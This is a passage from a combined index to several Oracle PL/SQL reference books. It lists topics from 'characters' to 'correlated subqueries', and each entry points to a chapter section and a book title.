National Language Support, conversions for: 9.2.3.9. The UTL_RAW.CONVERT function, Oracle Built-in Packages
fixed-width
8.2.1.4. The CLOB datatype, Oracle Built-in Packages
8.2.1.5. The NCLOB datatype, Oracle Built-in Packages
variable-width
8.2.1.4. The CLOB datatype, Oracle Built-in Packages
8.2.1.5. The NCLOB datatype, Oracle Built-in Packages
characters
NLS datatypes for: 4.2.6. NLS Character Datatypes, Oracle PL/SQL Programming
adding to strings: 11.1.11. The RPAD function, Oracle PL/SQL Programming
converting to numbers, package for: 17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
datatypes for: 4.2.3. Character Datatypes, Oracle PL/SQL Programming
extracting from strings: 11.1.14. The SUBSTR function, Oracle PL/SQL Programming
line separator: 7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
replacing in strings
11.1.10. The REPLACE function, Oracle PL/SQL Programming
11.1.15. The TRANSLATE function, Oracle PL/SQL Programming
string: 5.6. PLVchr: Operations on Single Characters, Advanced Oracle PL/SQL Programming with Packages
stripping from strings
11.1.12. The RTRIM function, Oracle PL/SQL Programming
11.1.9. The LTRIM function, Oracle PL/SQL Programming
word wrap: 11.2.2. Implementing Word Wrap for Long Text, Oracle PL/SQL Programming
chart wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
checking
existence, with Record Found? function: 16.2.7. Generating a "Record Found?" Function, Advanced Oracle PL/SQL Programming with Packages
existence of files: 13.3. Creating and Checking Existence of Files, Advanced Oracle PL/SQL Programming with Packages
last PLVobj cursor record: 11.4.3. Checking for Last Record, Advanced Oracle PL/SQL Programming with Packages
for NULL values: 4.3.2. Checking for NULL Values, Oracle PL/SQL Programming
for specific errors, triggers: 6.2.1.4. Checking for specific errors, Guide to Oracle8i Features
input: 3.8.1. When the num_in Argument Is 0, Advanced Oracle PL/SQL Programming with Packages
child block: (see nested blocks)
child records: (see records)
class instances: 18.1.4.2. Classification , Oracle PL/SQL Programming
classes: (see object types)
classification of objects: 18.1.4.2. Classification , Oracle PL/SQL Programming
clear_bailouts procedure
5.10.7. Bailing out program execution, Advanced Oracle PL/SQL Programming with Packages
22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
clear_pstab procedure
5.17.6. Managing the log , Advanced Oracle PL/SQL Programming with Packages
21.1.4.1. Counting and clearing the PL/SQL table, Advanced Oracle PL/SQL Programming with Packages
clearecs procedure
5.28.8. Accessing the PLVtrc execution call stack (ECS), Advanced Oracle PL/SQL Programming with Packages
21.2.4.5. Emptying the stack, Advanced Oracle PL/SQL Programming with Packages
clearing: (see deleting)
clearing tables: 10.7. Clearing the PL/SQL Table, Oracle PL/SQL Programming
client information
registering: 7.2.4. The DBMS_APPLICATION_INFO.SET_CLIENT_INFO procedure, Oracle Built-in Packages
returning: 7.2.1. The DBMS_APPLICATION_INFO.READ_CLIENT_INFO procedure, Oracle Built-in Packages
client-side SQL: 25.3.3. Avoid Client-Side SQL, Oracle PL/SQL Programming
client-side applications: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
client-side packages: 1.2.2. The Client-Side Layers, Advanced Oracle PL/SQL Programming with Packages
client_info procedure: 7.3.1. About the register_app Package, Oracle Built-in Packages
client_request procedure: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
clients, types of: 1.1. The Internet Grows Up, Oracle Web Applications
clock: (see time)
close_item procedure: 3.2.3.5. The auction package, Oracle Built-in Packages
close_links procedure
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
11.1.5.5. The close_links procedure, Oracle Built-in Packages
close_objects procedure
5.20.5. Interfacing with the PLVobj cursor, Advanced Oracle PL/SQL Programming with Packages
11.4.1. Opening and Closing the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
closepipe function: 3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function, Oracle Built-in Packages
closesrc procedure
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
12.9.1. Closing the Source, Advanced Oracle PL/SQL Programming with Packages
closetrg procedure
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
12.9.2. Closing the Target, Advanced Oracle PL/SQL Programming with Packages
closing
cursors: 6.8. Closing Cursors, Oracle PL/SQL Programming
PLVobj cursor: 11.4.1. Opening and Closing the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
files
13.4. Opening and Closing Files, Advanced Oracle PL/SQL Programming with Packages
21.1.3.2. Closing the file, Advanced Oracle PL/SQL Programming with Packages
5.11.8. Closing a file, Advanced Oracle PL/SQL Programming with Packages
repository: 12.9.1. Closing the Source, Advanced Oracle PL/SQL Programming with Packages
clrtrg procedure
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
12.9.3. Clearing the Target, Advanced Oracle PL/SQL Programming with Packages
cluster segments, space utilization: 12.1. DBMS_SPACE: Obtaining Space Information, Oracle Built-in Packages
code
(see also programming technique, coding)
1.2.1. The Iceberg Approach to Coding, Advanced Oracle PL/SQL Programming with Packages
PL/SQL repositories: 12. PLVio: Reading and Writing PL/SQL Source Code, Advanced Oracle PL/SQL Programming with Packages
PLVtmr package with: 14.4. Using PLVtmr in Scripts, Advanced Oracle PL/SQL Programming with Packages
author: 16.3.2. Setting the Code Author, Advanced Oracle PL/SQL Programming with Packages
cataloging: 18.2. PLVcat: Cataloguing PL/SQL Source Code, Advanced Oracle PL/SQL Programming with Packages
compiled, tuning access to: 25.2. Tuning Access to Compiled Code, Oracle PL/SQL Programming
compiling: 15. PLVvu: Viewing Source Code and Compile Errors, Advanced Oracle PL/SQL Programming with Packages
with PLVdyn package: 19.4.1.7. Compiling source code with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
consolidating: 2.9.2. Lava Lamp Code Consolidation, Advanced Oracle PL/SQL Programming with Packages
converting case of: 18.1.2. A Script to Convert Programs, Advanced Oracle PL/SQL Programming with Packages
converting to PL/SQL programs: 4.4.3. Converting Scripts to PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
created during installation: 4.6. Summary of Files on Disk, Advanced Oracle PL/SQL Programming with Packages
critical, pinning into SGA: 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
customizing for users: 2.8.1.2. Fitting the program to the user , Advanced Oracle PL/SQL Programming with Packages
debugging/testing: 22.1. The Challenge of Exception Handling, Advanced Oracle PL/SQL Programming with Packages
development: 3. The PL/SQL Development Spiral, Advanced Oracle PL/SQL Programming with Packages
displaying: 15.2.2. Setting the Code Overlap, Advanced Oracle PL/SQL Programming with Packages
dynamic PL/SQL: 19.5.5. Executing Dynamic PL/SQL Code, Advanced Oracle PL/SQL Programming with Packages
elapsed time of: 5.27. PLVtmr: Program Performance Analyzer, Advanced Oracle PL/SQL Programming with Packages
encrypting: 23.7. Encrypting Stored Code, Oracle PL/SQL Programming
execution time of: (see performance)
finding source code: 15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
for testing code: 4.6.2. Contents of the test Subdirectory, Advanced Oracle PL/SQL Programming with Packages
generating
5.13. PLVgen: PL/SQL Code Generator, Advanced Oracle PL/SQL Programming with Packages
16. PLVgen: Generating PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
generation toggles: 2.6.2. Toggles for Code Generation, Advanced Oracle PL/SQL Programming with Packages
halting execution of: 5.10.6. Exception handlers, Advanced Oracle PL/SQL Programming with Packages
implementing windows: 2.7.3. Implementing the Window, Advanced Oracle PL/SQL Programming with Packages
layers of: (see packages)
line numbers: 16.3.8. Generating Line Numbers, Advanced Oracle PL/SQL Programming with Packages
memory-based architecture: 23.1.3. Memory-Based Architecture of PL/SQL Code , Oracle PL/SQL Programming
overloading programs: 2.8. Overloading for Smart Packages, Advanced Oracle PL/SQL Programming with Packages
parallelization: 1.5.1.1. Leveraging builtin packages, Advanced Oracle PL/SQL Programming with Packages
parsing
5.22. PLVprsps: PL/SQL Source Code Parsing, Advanced Oracle PL/SQL Programming with Packages
10.3.2. Parsing PL/SQL Code, Advanced Oracle PL/SQL Programming with Packages
program name: 11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
pausing programs: 5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
pinning into memory: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
procedural, avoiding: 25.3.5. Avoid Procedural Code When Possible , Oracle PL/SQL Programming
redundant: (see redundancy)
repetetive: (see redundancy)
reusing: 1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
1.2.1. The Iceberg Approach to Coding
4.1.1. The Benefits of PL/Vision
shared, executing: 23.1. Executing Stored Code, Oracle PL/SQL Programming
size restrictions: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
standard header: 16.3.3. Using the Program Header, Advanced Oracle PL/SQL Programming with Packages
stored: 5.29. PLVvu: Code and Error Viewing , Advanced Oracle PL/SQL Programming with Packages
structuring of: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
style of: 1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
testing
24.2.5. Change and Test One Area of Code at a Time, Oracle PL/SQL Programming
4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
tracing: 16.3.4. Using the Program Trace , Advanced Oracle PL/SQL Programming with Packages
upgrades and fixes: 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes., Advanced Oracle PL/SQL Programming with Packages
code procedure
5.29.3. Displaying stored code, Advanced Oracle PL/SQL Programming with Packages
15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
17.2. Current Sources of Information, Advanced Oracle PL/SQL Programming with Packages
code_after procedure
5.29.3. Displaying stored code, Advanced Oracle PL/SQL Programming with Packages
15.3.2. Displaying Code by Keyword, Advanced Oracle PL/SQL Programming with Packages
17.2. Current Sources of Information, Advanced Oracle PL/SQL Programming with Packages
codependency, package: 2.4.1. Creating Codependent Packages, Advanced Oracle PL/SQL Programming with Packages
coding: 1.2. The Concept of Programming in Oracle Applications, Oracle PL/SQL Programming
analyzing size of: 23.6.3. Analyzing the Size of PL/SQL Code, Oracle PL/SQL Programming
anticipating errors: (see exceptions)
avoiding repetitive: 22.3. Take Full Advantage of Local Modularization, Oracle PL/SQL Programming
comments in: (see comments)
considering parameter case: 22.7.4. Ensure Case Consistency of Parameters, Oracle PL/SQL Programming
creating independent modules: 22.5. Create Independent Modules, Oracle PL/SQL Programming
cross-referencing source code: 23.6.5. Cross-Referencing Source Code, Oracle PL/SQL Programming
documenting: 24.2.6. Document and Back Up Your Efforts, Oracle PL/SQL Programming
errors: (see errors; exceptions)
finding strings in: 23.6.4. Displaying and Searching Source Code, Oracle PL/SQL Programming
hints for effective
1.5. Advice for Oracle Programmers, Oracle PL/SQL Programming
3. Effective Coding Style, Oracle PL/SQL Programming
4.2.8.3. Drawbacks of implicit conversions, Oracle PL/SQL Programming
22. Code Design Tips, Oracle PL/SQL Programming
IF statements: 5.1.4. Nested IF Statements, Oracle PL/SQL Programming
commenting: 3.6. Using Comments Effectively, Oracle PL/SQL Programming
exception handling: 8.10. RAISE Nothing but Exceptions, Oracle PL/SQL Programming
loops: 7.7. Tips for PL/SQL Loops, Oracle PL/SQL Programming
nested records: 9.7.1. Example of Nested Records, Oracle PL/SQL Programming
parameters: 22.7. Tips for Parameter Design, Oracle PL/SQL Programming
records: 9.1.3.3. Leaner, cleaner code, Oracle PL/SQL Programming
in databases: 23. Managing Code in the Database, Oracle PL/SQL Programming
increasing readability of code: 5.2.2.1. Improving the readability of your program , Oracle PL/SQL Programming
layout of: 3.1. Fundamentals of Effective Layout, Oracle PL/SQL Programming
recursive processing: 17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
removing unused variables: 4.7.6. Remove Unused Variables from Programs, Oracle PL/SQL Programming
sequential processing: 17.8.6. Sequential Processing Against a Column's Value, Oracle PL/SQL Programming
simplifying logic with variables: 4.7.9. Use Variables to Hide Complex Logic, Oracle PL/SQL Programming
testing programs: 2.5.2. Multiline Comment Syntax, Oracle PL/SQL Programming
coercions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
collected data, formats: 7.2.4. Format of Collected Data , Guide to Oracle8i Features
collections
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
5. Bulking Up with PL/SQL 8.1, Guide to Oracle8i Features
10.4. SQL Operations on Collections, Guide to Oracle8i Features
PL/SQL-to-server integration example: 19.7. Example: PL/SQL-to-Server Integration, Oracle PL/SQL Programming
VARRAYs: (see VARRAYs)
adding/removing elements from: 19.4.3. Adding and Removing Elements, Oracle PL/SQL Programming
built-in methods for: 19.6. Collection Built-Ins, Oracle PL/SQL Programming
casting: 19.5.2.1. Casting a named collection, Oracle PL/SQL Programming
choosing which kind to use: 19.9. Which Collection Type Should I Use?, Oracle PL/SQL Programming
collection variables
19.2.2.1. Collection variables, Oracle PL/SQL Programming
19.4.1. Initializing Collection Variables, Oracle PL/SQL Programming
comparing: 19.4.4. Comparing Collections, Oracle PL/SQL Programming
creating: 19.2. Creating the New Collections, Oracle PL/SQL Programming
data dictionary entries for: 19.8.2. Data Dictionary, Oracle PL/SQL Programming
declaring as datatype: 19.2.2. Collections in PL/SQL, Oracle PL/SQL Programming
index-by tables: (see index-by tables)
nested tables: (see nested tables)
passing arguments of: 19.8.3. Call by Reference or Call by Value, Oracle PL/SQL Programming
privileges: 19.8.1. Privileges, Oracle PL/SQL Programming
pseudo-functions: 19.5. Collection Pseudo-Functions, Oracle PL/SQL Programming
types of: 19.1. Types of Collections, Oracle PL/SQL Programming
colors library, WebDB: 3.1.2.3. Building shared components, Oracle Web Applications
column groups: 16.2. Column Groups with DBMS_REPCAT, Oracle Built-in Packages
adding columns: 16.2.3.1. The DBMS_REPCAT.ADD_GROUPED_COLUMN procedure, Oracle Built-in Packages
comments, creating or replacing: 16.2.3.3. The DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP procedure, Oracle Built-in Packages
concepts: 16.2.1. About Column Groups, Oracle Built-in Packages
creating with columns: 16.2.2.3. The DBMS_REPCAT.MAKE_COLUMN_GROUP procedure, Oracle Built-in Packages
creating without columns: 16.2.2.1. The DBMS_REPCAT.DEFINE_COLUMN_GROUP procedure, Oracle Built-in Packages
dropping column groups: 16.2.2.2. The DBMS_REPCAT.DROP_COLUMN_GROUP procedure, Oracle Built-in Packages
dropping columns: 16.2.3.2. The DBMS_REPCAT.DROP_GROUPED_COLUMN procedure, Oracle Built-in Packages
columns
(see also records)
9.1.1. Different Types of Records, Oracle PL/SQL Programming
BFILE, initializing: 13.2.1. The BFILENAME function, Oracle PL/SQL Programming
abbreviations for: 3.2. Formatting SQL Statements, Oracle PL/SQL Programming
aliases for
3.2. Formatting SQL Statements, Oracle PL/SQL Programming
6.7. Column Aliases in Cursors, Oracle PL/SQL Programming
9.3.2. Setting the Record's Column Names, Oracle PL/SQL Programming
choosing for cursor-based record: 9.3.1. Choosing Columns for a Cursor Record, Oracle PL/SQL Programming
collections as: 19.2.1.1. Collection as a "column" in a conventional table, Oracle PL/SQL Programming
collections as datatypes for: 19.1. Types of Collections, Oracle PL/SQL Programming
datatype determination (example): 2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
datatype values for: 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
defining
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.5. Defining Cursor Columns, Oracle Built-in Packages
describing: 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
names for: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
naming procedure: 17.6. Column/Function Name Precedence, Oracle PL/SQL Programming
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
VALUE operator with: 18.4.2.3. VALUE, Oracle PL/SQL Programming
partial values of: 17.8.5. GROUP BY Partial Column Values, Oracle PL/SQL Programming
pseudocolumns: 9.1.2. ROWID Concepts, Oracle Built-in Packages
represented by variables: 4.7.7. Use %TYPE When a Variable Represents a Column, Oracle PL/SQL Programming
retrieving
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.8. Retrieving Values , Oracle Built-in Packages
retrieving descriptions of: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
retrieving number of in tables: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
sequential processing against value: 17.8.6. Sequential Processing Against a Column's Value, Oracle PL/SQL Programming
synchronization with: 4.5.1.1. Synchronization with database columns, Oracle PL/SQL Programming
where OIDS are stored: 18.4.2.1. Object identifiers (OIDs), Oracle PL/SQL Programming
columns, table: (see tables)
comma-delimited lists
creating: 10.1.2.20. The DBMS_UTILITY.TABLE_TO_COMMA procedure, Oracle Built-in Packages
parsing: 10.1.2.4. The DBMS_UTILITY.COMMA_TO_TABLE procedure, Oracle Built-in Packages
comment, HTML tag: 5.2.1. Structural Tags, Oracle Web Applications
comments
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
5.13.5. Help generators, Advanced Oracle PL/SQL Programming with Packages
5.16.1. Analyzing PL/SQL string content, Advanced Oracle PL/SQL Programming with Packages
10.3.2.1. plsql_string procedure, Advanced Oracle PL/SQL Programming with Packages
17.4.3. Creating Help Text, Advanced Oracle PL/SQL Programming with Packages
2.5. Comments, Oracle PL/SQL Programming
associated with transactions: 6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
describing parameters: 22.7.1. Document All Parameters and Their Functions, Oracle PL/SQL Programming
encrypted code and: 23.7.3. Impact of Encrypting Code, Oracle PL/SQL Programming
generating
16.2.5.1. Generating help text stubs, Advanced Oracle PL/SQL Programming with Packages
16.3.7. Generating Online Help Text Stubs, Advanced Oracle PL/SQL Programming with Packages
in PL/SQL: 6.2.1. Comments, Oracle Web Applications
retrieving: 17.5.3. Implementing Online Help, Advanced Oracle PL/SQL Programming with Packages
symbols for: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
using effectively: 3.6. Using Comments Effectively, Oracle PL/SQL Programming
commit processing: 20.1. PLVcmt: Enhancing Commit Processing, Advanced Oracle PL/SQL Programming with Packages
incremental commits: 20.1.3. Performing Incremental Commits, Advanced Oracle PL/SQL Programming with Packages
toggling: 20.1.4. Controlling Commit Processing, Advanced Oracle PL/SQL Programming with Packages
commit_after procedure
5.7.4. Managing the commit counter, Advanced Oracle PL/SQL Programming with Packages
12.9.3. Clearing the Target, Advanced Oracle PL/SQL Programming with Packages
20.1.3.1. Setting the commit point, Advanced Oracle PL/SQL Programming with Packages
commitment: 4.2.3. Committing Data, Oracle Built-in Packages
DDL statement processing and: 10.3.1. Getting Started with DBMS_DDL, Oracle Built-in Packages
alerts and: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
deferred transactions and
17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure, Oracle Built-in Packages
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure, Oracle Built-in Packages
job scheduling and
13.2.5.1. The DBMS_JOB.SUBMIT procedure, Oracle Built-in Packages
13.2.7.3. The DBMS_JOB.RUN procedure, Oracle Built-in Packages
locks
allocating locks: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
named locks: 4.1.3.4. ALLOCATE_UNIQUE drawbacks, Oracle Built-in Packages
persistence: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
commits
A.2.6. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
committed_TF function: 4.1.4.1. The dblock package, Oracle Built-in Packages
committing function: 5.7.1. Controlling commit activity, Advanced Oracle PL/SQL Programming with Packages
communications protocols: 1.1. The Internet Grows Up, Oracle Web Applications
companion disk (see Companion Utilities Guide)
comparing
collections: 19.4.4. Comparing Collections, Oracle PL/SQL Programming
objects: 18.3.6. Comparing Objects, Oracle PL/SQL Programming
records: 9.1.6. Comparing Two Records, Oracle PL/SQL Programming
strings
4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
11.1.13. The SOUNDEX function, Oracle PL/SQL Programming
with NULL: 4.3. NULLs in PL/SQL, Oracle PL/SQL Programming
comparison methods: 18.3.1. About Object Types, Oracle PL/SQL Programming
compatibility
3.3. Supplying Backward Compatibility, Advanced Oracle PL/SQL Programming with Packages
3.11. Don't Forget Backward Compatibility, Advanced Oracle PL/SQL Programming with Packages
compatibility function: 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
compatible parameter, CREATE_QUEUE_TABLE procedure: 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
compilation
automatic: 23.3.1. Interdependencies of Stored Objects, Oracle PL/SQL Programming
errors, viewing: 23.5.4. Viewing Compilation Errors in SQL*Plus, Oracle PL/SQL Programming
manual: 23.3.1. Interdependencies of Stored Objects, Oracle PL/SQL Programming
of modules: 4.5.2. Anchoring at Compile Time, Oracle PL/SQL Programming
compile procedure
5.9.4. Data Definition Language operations, Advanced Oracle PL/SQL Programming with Packages
19.4.1.7. Compiling source code with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
compiler constructs: (see pragmas)
compiling: 15. PLVvu: Viewing Source Code and Compile Errors, Advanced Oracle PL/SQL Programming with Packages
code: 1.3.6. Performance Improvement, Advanced Oracle PL/SQL Programming with Packages
with PLVdyn: 19.4.1.7. Compiling source code with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
errors: 5.29.4. Displaying compile errors, Advanced Oracle PL/SQL Programming with Packages
forced: 20.7.3. Forcing Compilation, Oracle PL/SQL Programming
package specifications: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
compiling and loading Java into Oracle: 9.3.3. Compiling and Loading into Oracle, Guide to Oracle8i Features
complete refresh: 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
compound symbols: (see symbols)
compressed data: (see message buffers, compressed data in)
concatenation
concatenation (||) operator
4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
11.1.3. The CONCAT function, Oracle PL/SQL Programming
SQL statement construction by: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
binding versus concatenation: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
raw data
9.2.3.10. The UTL_RAW.COPIES function, Oracle Built-in Packages
9.2.3.8. The UTL_RAW.CONCAT function, Oracle Built-in Packages
string
4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
11.1.3. The CONCAT function, Oracle PL/SQL Programming
versus binding: 4.4.1. Binding Versus Concatenation, Guide to Oracle8i Features
concurrency, raw data and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
conditional control structures: 5. Conditional and Sequential Control, Oracle PL/SQL Programming
formatting: 3.3. Formatting Control Structures, Oracle PL/SQL Programming
conditional logic
A.1.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
A.2.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
conditional loops: (see loops)
conditional statements, PL/SQL: 6.2.3. Conditionals, Oracle Web Applications
conditionals: 6.2.3. Conditionals, Oracle Web Applications
configuration file, HTTP listener: 3.2.3.4. Configuration file, Oracle Web Applications
configuring
PLVfk package: 19.6.2. Configuring the PLVfk Package, Advanced Oracle PL/SQL Programming with Packages
conflict resolution
16. Conflict Resolution, Oracle Built-in Packages
adding resolution types: 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION, Oracle Built-in Packages
auditing: 16.6. Monitoring Conflict Resolution with DBMS_REPCAT, Oracle Built-in Packages
purging data: 16.6.1.3. The DBMS_REPCAT.PURGE_STATISTICS procedure, Oracle Built-in Packages
starting data collection: 16.6.1.1. The DBMS_REPCAT.REGISTER_STATISTICS procedure, Oracle Built-in Packages
stopping data collection: 16.6.1.2. The DBMS_REPCAT.CANCEL_STATISTICS procedure, Oracle Built-in Packages
comments on resolution types, creating or replacing: 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
data dictionary views: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
dropping resolution types: 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
methods: 16.5.1. About Resolution Methods, Oracle Built-in Packages
replication support and: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
replication triggers and: 14.1.2.2. The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure, Oracle Built-in Packages
connecting databases to web: 1.4.1. Connect the Database to the Web Using OAS or WebDB, Oracle Web Applications
connections, PL/SQL and: 2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
consistency
dequeuing and: 5.4.2.5. Dequeue navigation, Oracle Built-in Packages
raw data and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
consolidation of code: 2.9.2. Lava Lamp Code Consolidation, Advanced Oracle PL/SQL Programming with Packages
constants: (see literals; named constants; variables)
constrained datatypes
4.4.1. Constrained Declarations, Oracle PL/SQL Programming
4.6. Programmer-Defined Subtypes, Oracle PL/SQL Programming
4.6.3. Emulating Constrained Subtypes, Oracle PL/SQL Programming
constructor methods
18.2.2.1. PL/SQL usage , Oracle PL/SQL Programming
18.3.1. About Object Types, Oracle PL/SQL Programming
18.4.1.1. Constructors, Oracle PL/SQL Programming
constructors
initializing collections: 19.4.1.1. Initializing with a constructor, Oracle PL/SQL Programming
consumers
(see also multiple consumers; producers)
5.1.2. Enqueue Features, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
delaying dequeuing: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
specifying: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
content delivery model: 2.3. Content Delivery Model, Oracle Web Applications
HTTP Listener: 2.3.1. The HTTP Listener, Oracle Web Applications
PL/SQL gateways: 2.4. Database Integration, Oracle Web Applications
content management
1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
1.2.1. Content Management, Oracle Web Applications
1.3.5. WebDB, Oracle Web Applications
content-driven web site management, WebDB: 3.1.3. Content-Driven Web Site Management, Oracle Web Applications
context switching
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
5.1. Context-Switching Problem Scenarios, Guide to Oracle8i Features
control structures, iterative: (see loops)
conventions, naming: 4.7.1. Establish Clear Variable Naming Conventions , Oracle PL/SQL Programming
conversions
and format models: 14.1. Conversion Formats, Oracle PL/SQL Programming
functions for: 14. Conversion Functions, Oracle PL/SQL Programming
GET_LINE and: 6.2.3.1. The UTL_FILE.GET_LINE procedure, Oracle Built-in Packages
implicit: 14. Conversion Functions, Oracle PL/SQL Programming
raw data and
9.2.2.1. Conversion and coercion, Oracle Built-in Packages
9.2.3.5. The UTL_RAW.CAST_TO_RAW function, Oracle Built-in Packages
9.2.3.9. The UTL_RAW.CONVERT function, Oracle Built-in Packages
convert_type procedure
5.20.8. Miscellaneous PLVobj programs, Advanced Oracle PL/SQL Programming with Packages
11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
converting
PL/SQL table to database table: 21.1.4.3. Transferring a PL/SQL table log to a database table, Advanced Oracle PL/SQL Programming with Packages
between datatypes: 4.2.8. Conversion Between Datatypes, Oracle PL/SQL Programming
case: (see capitalization)
datatypes
external procedures and: 21.4.1. Datatype Conversion, Oracle PL/SQL Programming
performance and: 25.4.7. Avoid Type Conversions When Possible, Oracle PL/SQL Programming
explicitly versus implicitly: 4.2.8.1. Explicit data conversions, Oracle PL/SQL Programming
program name: 11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
scripts into PL/SQL: 4.4.3. Converting Scripts to PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
to row numbers: 10.5.1. Automatic Conversion of Row Number Expressions, Oracle PL/SQL Programming
to/from hexadecimal: 14.2.3. The HEXTORAW function, Oracle PL/SQL Programming
triggers to procedures: 25.3.7. Keep Database Triggers Small, Oracle PL/SQL Programming
variables to named constants: 4.7.5. Convert Variables into Named Constants , Oracle PL/SQL Programming
convobj procedure
5.20.8. Miscellaneous PLVobj programs, Advanced Oracle PL/SQL Programming with Packages
11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
cookies, OWA_COOKIE package: 7.3.1. OWA_COOKIE: Storing Cookies, Oracle Web Applications
copying
file contents: 13.7. Copying File Contents, Advanced Oracle PL/SQL Programming with Packages
files: 5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
from source to target repository: 5.15.9. Miscellaneous PLVio programs, Advanced Oracle PL/SQL Programming with Packages
object names into table: 11.6. Populating a PL/SQL Table with Object Names, Advanced Oracle PL/SQL Programming with Packages
source to target repository: 12.7.2. Batch Transfer of Source to Target, Advanced Oracle PL/SQL Programming with Packages
copyto procedure
2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
2.5.5.3. Copying a value to a packaged variable, Oracle Built-in Packages
cor procedure: 19.4.1.7. Compiling source code with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
correlated subqueries: 17.8.3. Replacing Correlated Subqueries, Oracle PL/SQL Programming
